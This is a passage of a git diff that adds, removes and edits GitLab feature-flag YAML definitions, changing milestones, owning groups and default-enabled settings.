@@ -5,4 +5,4 @@ rollout_issue_url:
milestone: '13.9'
type: development
group: group::source code
-default_enabled: true
+default_enabled: false
diff --git a/config/feature_flags/development/cached_mr_widget.yml b/config/feature_flags/development/cached_mr_widget.yml
new file mode 100644
index 00000000000..0a73eafe57e
--- /dev/null
+++ b/config/feature_flags/development/cached_mr_widget.yml
@@ -0,0 +1,8 @@
+---
+name: cached_mr_widget
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61584
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330803
+milestone: '13.12'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/cached_sidebar_merge_requests_count.yml b/config/feature_flags/development/cached_sidebar_merge_requests_count.yml
deleted file mode 100644
index f542ba6323c..00000000000
--- a/config/feature_flags/development/cached_sidebar_merge_requests_count.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cached_sidebar_merge_requests_count
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55971
-rollout_issue_url:
-milestone: '13.11'
-type: development
-group: group::product planning
-default_enabled: true
diff --git a/config/feature_flags/development/cached_sidebar_open_epics_count.yml b/config/feature_flags/development/cached_sidebar_open_epics_count.yml
deleted file mode 100644
index 265f3135b48..00000000000
--- a/config/feature_flags/development/cached_sidebar_open_epics_count.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cached_sidebar_open_epics_count
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58064
-rollout_issue_url:
-milestone: '13.11'
-type: development
-group: group::product planning
-default_enabled: true
diff --git a/config/feature_flags/development/check_maven_path_first.yml b/config/feature_flags/development/check_maven_path_first.yml
deleted file mode 100644
index 85c303dc766..00000000000
--- a/config/feature_flags/development/check_maven_path_first.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: check_maven_path_first
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59241
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327487
-milestone: '13.11'
-type: development
-group: group::package
-default_enabled: true
diff --git a/config/feature_flags/development/ci_artifacts_exclude.yml b/config/feature_flags/development/ci_artifacts_exclude.yml
index f1a7031b4e9..172fe751dfe 100644
--- a/config/feature_flags/development/ci_artifacts_exclude.yml
+++ b/config/feature_flags/development/ci_artifacts_exclude.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30708
rollout_issue_url:
milestone: '13.0'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/ci_build_metadata_config.yml b/config/feature_flags/development/ci_build_metadata_config.yml
index 07803e3f1da..2caf8be7187 100644
--- a/config/feature_flags/development/ci_build_metadata_config.yml
+++ b/config/feature_flags/development/ci_build_metadata_config.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7238
rollout_issue_url:
milestone: '11.7'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml b/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml
deleted file mode 100644
index f50d71fc71f..00000000000
--- a/config/feature_flags/development/ci_cross_pipeline_artifacts_download.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_cross_pipeline_artifacts_download
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48342
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/287622
-milestone: '13.7'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_daily_limit_for_pipeline_schedules.yml b/config/feature_flags/development/ci_daily_limit_for_pipeline_schedules.yml
new file mode 100644
index 00000000000..ad7c5b2fa91
--- /dev/null
+++ b/config/feature_flags/development/ci_daily_limit_for_pipeline_schedules.yml
@@ -0,0 +1,8 @@
+---
+name: ci_daily_limit_for_pipeline_schedules
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62826
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332333
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_delete_objects_high_concurrency.yml b/config/feature_flags/development/ci_delete_objects_high_concurrency.yml
index bcc58b2c985..a14861beb59 100644
--- a/config/feature_flags/development/ci_delete_objects_high_concurrency.yml
+++ b/config/feature_flags/development/ci_delete_objects_high_concurrency.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39464
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/247103
milestone: '13.5'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_delete_objects_medium_concurrency.yml b/config/feature_flags/development/ci_delete_objects_medium_concurrency.yml
index 911462e88ae..55fc2d9fc94 100644
--- a/config/feature_flags/development/ci_delete_objects_medium_concurrency.yml
+++ b/config/feature_flags/development/ci_delete_objects_medium_concurrency.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39464
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/247103
milestone: '13.5'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_drop_cyclical_triggered_pipelines.yml b/config/feature_flags/development/ci_drop_cyclical_triggered_pipelines.yml
index 6d411dd377f..3c7204f444b 100644
--- a/config/feature_flags/development/ci_drop_cyclical_triggered_pipelines.yml
+++ b/config/feature_flags/development/ci_drop_cyclical_triggered_pipelines.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_request
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329390
milestone: '13.12'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml b/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml
new file mode 100644
index 00000000000..0bd83b56609
--- /dev/null
+++ b/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml
@@ -0,0 +1,8 @@
+---
+name: ci_drop_new_builds_when_ci_quota_exceeded
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61166
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326709
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_dynamic_child_pipeline.yml b/config/feature_flags/development/ci_dynamic_child_pipeline.yml
deleted file mode 100644
index c9d5212267e..00000000000
--- a/config/feature_flags/development/ci_dynamic_child_pipeline.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_dynamic_child_pipeline
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/23790
-rollout_issue_url:
-milestone: '12.9'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_enable_live_trace.yml b/config/feature_flags/development/ci_enable_live_trace.yml
index d56107e43eb..f6f44dd1309 100644
--- a/config/feature_flags/development/ci_enable_live_trace.yml
+++ b/config/feature_flags/development/ci_enable_live_trace.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5255
rollout_issue_url:
milestone: '10.8'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_external_validation_service.yml b/config/feature_flags/development/ci_external_validation_service.yml
deleted file mode 100644
index 9df770d87e5..00000000000
--- a/config/feature_flags/development/ci_external_validation_service.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_external_validation_service
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56856
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323935
-milestone: '13.11'
-type: development
-group: group::continuous integration
-default_enabled: false
diff --git a/config/feature_flags/development/ci_fix_commit_status_retried.yml b/config/feature_flags/development/ci_fix_commit_status_retried.yml
index 85b1836b065..56400c861cd 100644
--- a/config/feature_flags/development/ci_fix_commit_status_retried.yml
+++ b/config/feature_flags/development/ci_fix_commit_status_retried.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321631
milestone: '13.9'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_idempotent_pipeline_process_worker.yml b/config/feature_flags/development/ci_idempotent_pipeline_process_worker.yml
new file mode 100644
index 00000000000..db6aa3e88ff
--- /dev/null
+++ b/config/feature_flags/development/ci_idempotent_pipeline_process_worker.yml
@@ -0,0 +1,8 @@
+---
+name: ci_idempotent_pipeline_process_worker
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62410
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332963
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_minutes_track_live_consumption.yml b/config/feature_flags/development/ci_minutes_track_live_consumption.yml
index ddd21f3909e..d94dfc4120b 100644
--- a/config/feature_flags/development/ci_minutes_track_live_consumption.yml
+++ b/config/feature_flags/development/ci_minutes_track_live_consumption.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59263
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329197
milestone: '13.12'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_needs_optional.yml b/config/feature_flags/development/ci_needs_optional.yml
deleted file mode 100644
index eacb0ab6d51..00000000000
--- a/config/feature_flags/development/ci_needs_optional.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_needs_optional
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55468
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323891
-milestone: '13.10'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/ci_pending_builds_queue_join.yml b/config/feature_flags/development/ci_pending_builds_queue_join.yml
new file mode 100644
index 00000000000..bfdcff4fe4a
--- /dev/null
+++ b/config/feature_flags/development/ci_pending_builds_queue_join.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pending_builds_queue_join
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62195
+rollout_issue_url:
+milestone: '13.12'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_queue_maintain.yml b/config/feature_flags/development/ci_pending_builds_queue_maintain.yml
new file mode 100644
index 00000000000..1c6f6935897
--- /dev/null
+++ b/config/feature_flags/development/ci_pending_builds_queue_maintain.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pending_builds_queue_maintain
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61581
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331496
+milestone: '13.12'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pipeline_latest.yml b/config/feature_flags/development/ci_pipeline_latest.yml
index 6857c80565e..42ff8852305 100644
--- a/config/feature_flags/development/ci_pipeline_latest.yml
+++ b/config/feature_flags/development/ci_pipeline_latest.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34160
rollout_issue_url:
milestone: '13.2'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml b/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
index 82a28884f75..5e4299e4409 100644
--- a/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
+++ b/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33712
rollout_issue_url:
milestone: '13.2'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml b/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml
index 31840bb494e..8b880772d78 100644
--- a/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml
+++ b/config/feature_flags/development/ci_pipeline_triggers_settings_vue_ui.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41864
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/247486
milestone: '13.5'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml b/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml
deleted file mode 100644
index e0919dff0e0..00000000000
--- a/config/feature_flags/development/ci_raise_job_rules_without_workflow_rules_warning.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_raise_job_rules_without_workflow_rules_warning
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38387
-rollout_issue_url:
-milestone: '13.3'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml b/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml
deleted file mode 100644
index 56f5afa9ed0..00000000000
--- a/config/feature_flags/development/ci_reduce_queries_when_ticking_runner_queue.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_reduce_queries_when_ticking_runner_queue
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55496
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323328
-milestone: '13.10'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_register_job_service_one_by_one.yml b/config/feature_flags/development/ci_register_job_service_one_by_one.yml
deleted file mode 100644
index 8f691a01605..00000000000
--- a/config/feature_flags/development/ci_register_job_service_one_by_one.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_register_job_service_one_by_one
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55194
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323177
-milestone: '13.10'
-type: development
-group: group::memory
-default_enabled: true
diff --git a/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml b/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
index b974a9290d1..868c3c84649 100644
--- a/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
+++ b/config/feature_flags/development/ci_require_credit_card_on_free_plan.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330104
milestone: '13.12'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml b/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
index 370a851bc4d..6a946f0959c 100644
--- a/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
+++ b/config/feature_flags/development/ci_require_credit_card_on_trial_plan.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61152
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330105
milestone: '13.12'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml b/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml
deleted file mode 100644
index 7e930ce5a10..00000000000
--- a/config/feature_flags/development/ci_runner_builds_queue_on_replicas.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_runner_builds_queue_on_replicas
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56849
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325723
-milestone: '13.10'
-type: development
-group: group::continuous integration
-default_enabled: true
diff --git a/config/feature_flags/development/ci_runners_short_circuit_assignable_for.yml b/config/feature_flags/development/ci_runners_short_circuit_assignable_for.yml
index 5c54feb6cee..5bac8fc9615 100644
--- a/config/feature_flags/development/ci_runners_short_circuit_assignable_for.yml
+++ b/config/feature_flags/development/ci_runners_short_circuit_assignable_for.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55518
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/323317
milestone: '13.10'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml b/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
index d67bd6c591c..147dc2d0ce9 100644
--- a/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
+++ b/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8638
rollout_issue_url:
milestone: '11.6'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/ci_scoped_job_token.yml b/config/feature_flags/development/ci_scoped_job_token.yml
new file mode 100644
index 00000000000..a7fa0244839
--- /dev/null
+++ b/config/feature_flags/development/ci_scoped_job_token.yml
@@ -0,0 +1,8 @@
+---
+name: ci_scoped_job_token
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62733
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332272
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml b/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml
index 9356ac9cfda..0db9e683929 100644
--- a/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml
+++ b/config/feature_flags/development/ci_skip_persistent_ref_existence_check.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32391
rollout_issue_url:
milestone: '13.1'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/ci_track_shared_runner_builds.yml b/config/feature_flags/development/ci_track_shared_runner_builds.yml
new file mode 100644
index 00000000000..b4267ab5be3
--- /dev/null
+++ b/config/feature_flags/development/ci_track_shared_runner_builds.yml
@@ -0,0 +1,8 @@
+---
+name: ci_track_shared_runner_builds
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62912
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_untrack_shared_runner_builds.yml b/config/feature_flags/development/ci_untrack_shared_runner_builds.yml
new file mode 100644
index 00000000000..2e8de5cbb0c
--- /dev/null
+++ b/config/feature_flags/development/ci_untrack_shared_runner_builds.yml
@@ -0,0 +1,8 @@
+---
+name: ci_untrack_shared_runner_builds
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62912
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_yaml_limit_size.yml b/config/feature_flags/development/ci_yaml_limit_size.yml
index be013bfe864..41f3742a377 100644
--- a/config/feature_flags/development/ci_yaml_limit_size.yml
+++ b/config/feature_flags/development/ci_yaml_limit_size.yml
@@ -1,8 +1,8 @@
---
name: ci_yaml_limit_size
-introduced_by_url:
+introduced_by_url: https://dev.gitlab.org/gitlab/gitlabhq/-/merge_requests/3126
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56018
milestone: '12.0'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/cluster_management_project.yml b/config/feature_flags/development/cluster_management_project.yml
deleted file mode 100644
index bcce2e027ff..00000000000
--- a/config/feature_flags/development/cluster_management_project.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cluster_management_project
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17866
-rollout_issue_url:
-milestone: '12.4'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/codequality_mr_diff_annotations.yml b/config/feature_flags/development/codequality_mr_diff_annotations.yml
new file mode 100644
index 00000000000..28e9777f3a8
--- /dev/null
+++ b/config/feature_flags/development/codequality_mr_diff_annotations.yml
@@ -0,0 +1,8 @@
+---
+name: codequality_mr_diff_annotations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57926
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330909
+milestone: '14.0'
+type: development
+group: group::testing
+default_enabled: true
diff --git a/config/feature_flags/development/combined_menu.yml b/config/feature_flags/development/combined_menu.yml
index 84ae04893fd..94ab3e96654 100644
--- a/config/feature_flags/development/combined_menu.yml
+++ b/config/feature_flags/development/combined_menu.yml
@@ -1,8 +1,8 @@
---
name: combined_menu
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56249
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321904
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/324086
milestone: '13.10'
type: development
group: group::editor
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/configurable_diff_limits.yml b/config/feature_flags/development/configurable_diff_limits.yml
new file mode 100644
index 00000000000..e73d45fac65
--- /dev/null
+++ b/config/feature_flags/development/configurable_diff_limits.yml
@@ -0,0 +1,8 @@
+---
+name: configurable_diff_limits
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56722
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332194
+milestone: '14.0'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_expiration_policies_loopless.yml b/config/feature_flags/development/container_registry_expiration_policies_loopless.yml
deleted file mode 100644
index 5c581151d0e..00000000000
--- a/config/feature_flags/development/container_registry_expiration_policies_loopless.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: container_registry_expiration_policies_loopless
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56962
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325273
-milestone: '13.11'
-type: development
-group: group::package
-default_enabled: false
diff --git a/config/feature_flags/development/create_cloud_run_clusters.yml b/config/feature_flags/development/create_cloud_run_clusters.yml
deleted file mode 100644
index 8352d6290e0..00000000000
--- a/config/feature_flags/development/create_cloud_run_clusters.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: create_cloud_run_clusters
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19063
-rollout_issue_url:
-milestone: '12.5'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/create_vulnerability_jira_issue_via_graphql.yml b/config/feature_flags/development/create_vulnerability_jira_issue_via_graphql.yml
new file mode 100644
index 00000000000..9aa5807789d
--- /dev/null
+++ b/config/feature_flags/development/create_vulnerability_jira_issue_via_graphql.yml
@@ -0,0 +1,8 @@
+---
+name: create_vulnerability_jira_issue_via_graphql
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60593
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329780
+milestone: '13.12'
+type: development
+group: group::protect
+default_enabled: false
diff --git a/config/feature_flags/development/dast_runner_site_validation.yml b/config/feature_flags/development/dast_runner_site_validation.yml
new file mode 100644
index 00000000000..f8ad90062f6
--- /dev/null
+++ b/config/feature_flags/development/dast_runner_site_validation.yml
@@ -0,0 +1,8 @@
+---
+name: dast_runner_site_validation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61649
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331082
+milestone: '14.0'
+type: development
+group: group::dynamic analysis
+default_enabled: false
diff --git a/config/feature_flags/development/database_sourced_aggregated_metrics.yml b/config/feature_flags/development/database_sourced_aggregated_metrics.yml
deleted file mode 100644
index d971ad0b9d2..00000000000
--- a/config/feature_flags/development/database_sourced_aggregated_metrics.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: database_sourced_aggregated_metrics
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52784
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300411
-milestone: '13.9'
-type: development
-group: group::product intelligence
-default_enabled: false
diff --git a/config/feature_flags/development/datadog_ci_integration.yml b/config/feature_flags/development/datadog_ci_integration.yml
index c53ef36f3c1..4f8fca4950a 100644
--- a/config/feature_flags/development/datadog_ci_integration.yml
+++ b/config/feature_flags/development/datadog_ci_integration.yml
@@ -5,3 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284088
type: development
group: group::ecosystem
default_enabled: false
+milestone: '13.7'
diff --git a/config/feature_flags/development/delayed_consistency_for_user_refresh_over_range_worker.yml b/config/feature_flags/development/delayed_consistency_for_user_refresh_over_range_worker.yml
deleted file mode 100644
index 0a7cdea847f..00000000000
--- a/config/feature_flags/development/delayed_consistency_for_user_refresh_over_range_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: delayed_consistency_for_user_refresh_over_range_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61883
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327092
-milestone: '13.12'
-type: development
-group: group::access
-default_enabled: false
diff --git a/config/feature_flags/development/delayed_perform_for_build_hooks_worker.yml b/config/feature_flags/development/delayed_perform_for_build_hooks_worker.yml
deleted file mode 100644
index 45fcf7d21bd..00000000000
--- a/config/feature_flags/development/delayed_perform_for_build_hooks_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: delayed_perform_for_build_hooks_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61149
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330132
-milestone: '13.12'
-type: development
-group: group::memory
-default_enabled: false
diff --git a/config/feature_flags/development/delete_branch_confirmation_modals.yml b/config/feature_flags/development/delete_branch_confirmation_modals.yml
new file mode 100644
index 00000000000..37fcf533966
--- /dev/null
+++ b/config/feature_flags/development/delete_branch_confirmation_modals.yml
@@ -0,0 +1,8 @@
+---
+name: delete_branch_confirmation_modals
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56782
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329052
+milestone: '13.12'
+type: development
+group: group::expansion
+default_enabled: false
diff --git a/config/feature_flags/development/deployments_finder_implicitly_enforce_ordering_for_updated_at_filter.yml b/config/feature_flags/development/deployments_finder_implicitly_enforce_ordering_for_updated_at_filter.yml
deleted file mode 100644
index 68a3de44e88..00000000000
--- a/config/feature_flags/development/deployments_finder_implicitly_enforce_ordering_for_updated_at_filter.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: deployments_finder_implicitly_enforce_ordering_for_updated_at_filter
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59771
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329286
-milestone: '13.12'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/destroy_webhooks_before_the_project.yml b/config/feature_flags/development/destroy_webhooks_before_the_project.yml
deleted file mode 100644
index 7493822d641..00000000000
--- a/config/feature_flags/development/destroy_webhooks_before_the_project.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: destroy_webhooks_before_the_project
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59754
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328393
-milestone: '13.12'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/devops_adoption_feature.yml b/config/feature_flags/development/devops_adoption_feature.yml
index 0b643b4e60e..46a1ed7cc42 100644
--- a/config/feature_flags/development/devops_adoption_feature.yml
+++ b/config/feature_flags/development/devops_adoption_feature.yml
@@ -1,8 +1,8 @@
---
name: devops_adoption_feature
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46005
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/271568
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325795
milestone: '13.6'
type: development
group: group::optimize
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/diff_settings_usage_data.yml b/config/feature_flags/development/diff_settings_usage_data.yml
index e58552b51c2..62f3a39584e 100644
--- a/config/feature_flags/development/diff_settings_usage_data.yml
+++ b/config/feature_flags/development/diff_settings_usage_data.yml
@@ -1,6 +1,6 @@
---
name: diff_settings_usage_data
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
rollout_issue_url:
milestone: '13.11'
type: development
